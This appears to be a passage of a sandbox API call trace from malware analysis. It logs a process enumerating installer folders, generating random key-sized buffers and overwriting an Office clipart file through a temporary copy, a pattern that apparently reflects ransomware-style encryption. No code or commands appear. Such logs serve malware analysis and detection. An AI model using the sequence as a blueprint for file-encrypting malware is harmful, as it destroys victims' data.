	[0280.756] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\663eaa764a2f03a67ccdad6fda3d0ace" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\663eaa764a2f03a67ccdad6fda3d0ace")) returned 0
	[0280.756] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\663eaa764a2f03a67ccdad6fda3d0ace" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\663eaa764a2f03a67ccdad6fda3d0ace")) returned 0
	[0280.756] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\663eaa764a2f03a67ccdad6fda3d0ace" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\663eaa764a2f03a67ccdad6fda3d0ace")) returned 0x20
	[0280.756] CloseHandle (hObject=0x1b0) returned 1
	[0280.756] CloseHandle (hObject=0x1b4) returned 1
	[0280.757] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\663eaa764a2f03a67ccdad6fda3d0ace" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\663eaa764a2f03a67ccdad6fda3d0ace")) returned 1
	[0280.758] SetEvent (hEvent=0xd4) returned 1
	[0280.759] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0) returned 0
	[0280.759] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0) returned 0
	[0280.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0280.759] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e5bf4 | out: lpMode=0xc0001e5bf4) returned 0
	[0280.759] GetFileType (hFile=0x1b4) returned 0x1
	[0280.759] GetFileType (hFile=0x1b4) returned 0x1
	[0280.759] GetFileInformationByHandle (in: hFile=0x1b4, lpFileInformation=0xc0001e5c44 | out: lpFileInformation=0xc0001e5c44) returned 1
	[0280.759] GetFileInformationByHandleEx (in: hFile=0x1b4, FileInformationClass=0x9, lpFileInformation=0xc0001e5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001e5c28) returned 1
	[0280.759] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0002e2000, nNumberOfBytesToRead=0x3dcc, lpNumberOfBytesRead=0xc0001e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002e2000*, lpNumberOfBytesRead=0xc0001e5b04*=0x3bcc, lpOverlapped=0x0) returned 1
	[0280.885] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0002e5bcc, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002e5bcc*, lpNumberOfBytesRead=0xc0001e5b04*=0x0, lpOverlapped=0x0) returned 1
	[0280.885] CloseHandle (hObject=0x1b4) returned 1
	[0280.886] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e840 | out: pbBuffer=0xc00000e840) returned 1
	[0280.886] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc0001bea00 | out: pbBuffer=0xc0001bea00) returned 1
	[0280.886] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000e01 | out: pbBuffer=0xc000000e01) returned 1
	[0280.886] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\b9d6777df35a0bd8a9e4e2e9f88465a8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\b9d6777df35a0bd8a9e4e2e9f88465a8"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0280.887] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e5c04 | out: lpMode=0xc0001e5c04) returned 0
	[0280.887] GetFileType (hFile=0x1b4) returned 0x1
	[0280.887] WriteFile (in: hFile=0x1b4, lpBuffer=0xc00027a000*, nNumberOfBytesToWrite=0x3ccc, lpNumberOfBytesWritten=0xc0001e5bec, lpOverlapped=0x0 | out: lpBuffer=0xc00027a000*, lpNumberOfBytesWritten=0xc0001e5bec*=0x3ccc, lpOverlapped=0x0) returned 1
	[0280.889] CloseHandle (hObject=0x1b4) returned 1
	[0280.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4
	[0280.893] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0001e5d74 | out: lpMode=0xc0001e5d74) returned 0
	[0280.893] GetFileType (hFile=0x1b4) returned 0x1
	[0280.893] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\b9d6777df35a0bd8a9e4e2e9f88465a8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\b9d6777df35a0bd8a9e4e2e9f88465a8"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0280.893] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e5d74 | out: lpMode=0xc0001e5d74) returned 0
	[0280.893] GetFileType (hFile=0x120) returned 0x1
	[0280.893] ReadFile (in: hFile=0x120, lpBuffer=0xc00030e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00030e000*, lpNumberOfBytesRead=0xc0001e5bd4*=0x3ccc, lpOverlapped=0x0) returned 1
	[0280.893] WriteFile (in: hFile=0x1b4, lpBuffer=0xc00030e000*, nNumberOfBytesToWrite=0x3ccc, lpNumberOfBytesWritten=0xc0001e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc00030e000*, lpNumberOfBytesWritten=0xc0001e5b74*=0x3ccc, lpOverlapped=0x0) returned 1
	[0280.895] ReadFile (in: hFile=0x120, lpBuffer=0xc00030e000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc00030e000*, lpNumberOfBytesRead=0xc0001e5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0280.895] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\b9d6777df35a0bd8a9e4e2e9f88465a8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\b9d6777df35a0bd8a9e4e2e9f88465a8")) returned 0
	[0280.895] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\b9d6777df35a0bd8a9e4e2e9f88465a8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\b9d6777df35a0bd8a9e4e2e9f88465a8")) returned 0
	[0280.895] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\b9d6777df35a0bd8a9e4e2e9f88465a8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\b9d6777df35a0bd8a9e4e2e9f88465a8")) returned 0x20
	[0280.895] CloseHandle (hObject=0x120) returned 1
	[0280.896] CloseHandle (hObject=0x1b4) returned 1
	[0280.897] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\b9d6777df35a0bd8a9e4e2e9f88465a8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\b9d6777df35a0bd8a9e4e2e9f88465a8")) returned 1
	[0280.899] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0280.945] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070dff560, ulCount=0x10, ulNumEntriesRemoved=0x7070dff538, dwMilliseconds=0x15, fAlertable=0 | out: lpCompletionPortEntries=0x7070dff560, ulNumEntriesRemoved=0x7070dff538) returned 0
	[0281.011] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) 

Thread:
	id = 99
	os_tid = 0x368

	[0236.360] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x7070fffcc0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x7070fffcc0*=0x174) returned 1
	[0236.360] VirtualQuery (in: lpAddress=0x7070fffce0, lpBuffer=0x7070fffce0, dwLength=0x30 | out: lpBuffer=0x7070fffce0*(BaseAddress=0x7070fff000, AllocationBase=0x7070e00000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0236.360] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x190
	[0236.360] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x194
	[0236.360] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0236.438] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0236.492] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0236.579] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0236.634] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0236.819] SetEvent (hEvent=0xd4) returned 1
	[0236.819] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1043" (normalized: "c:\\588bce7c90097ed212\\1043"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0236.820] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043" (normalized: "c:\\588bce7c90097ed212\\1043"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.820] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0236.820] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.821] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2b0f38e6, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xeda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0236.821] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0236.821] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0236.821] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0236.821] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0236.821] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0236.821] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712)) returned 1
	[0236.822] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.822] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58)) returned 1
	[0236.850] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.850] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2b0f38e6, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xeda)) returned 1
	[0236.851] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.851] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.851] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0236.876] SetEvent (hEvent=0xd4) returned 1
	[0236.876] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1044" (normalized: "c:\\588bce7c90097ed212\\1044"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0236.880] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044" (normalized: "c:\\588bce7c90097ed212\\1044"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.880] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0236.880] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.881] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2c110081, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xce6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0236.881] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0236.881] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0236.881] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0236.881] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0236.881] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0236.881] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0)) returned 1
	[0236.882] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.882] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558)) returned 1
	[0236.882] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.882] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2c110081, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xce6)) returned 1
	[0236.883] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.883] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.883] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0236.908] SetEvent (hEvent=0x17c) returned 1
	[0236.908] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1045" (normalized: "c:\\588bce7c90097ed212\\1045"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0236.913] VirtualAlloc (lpAddress=0xc0001f8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001f8000
	[0236.914] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045" (normalized: "c:\\588bce7c90097ed212\\1045"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.914] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
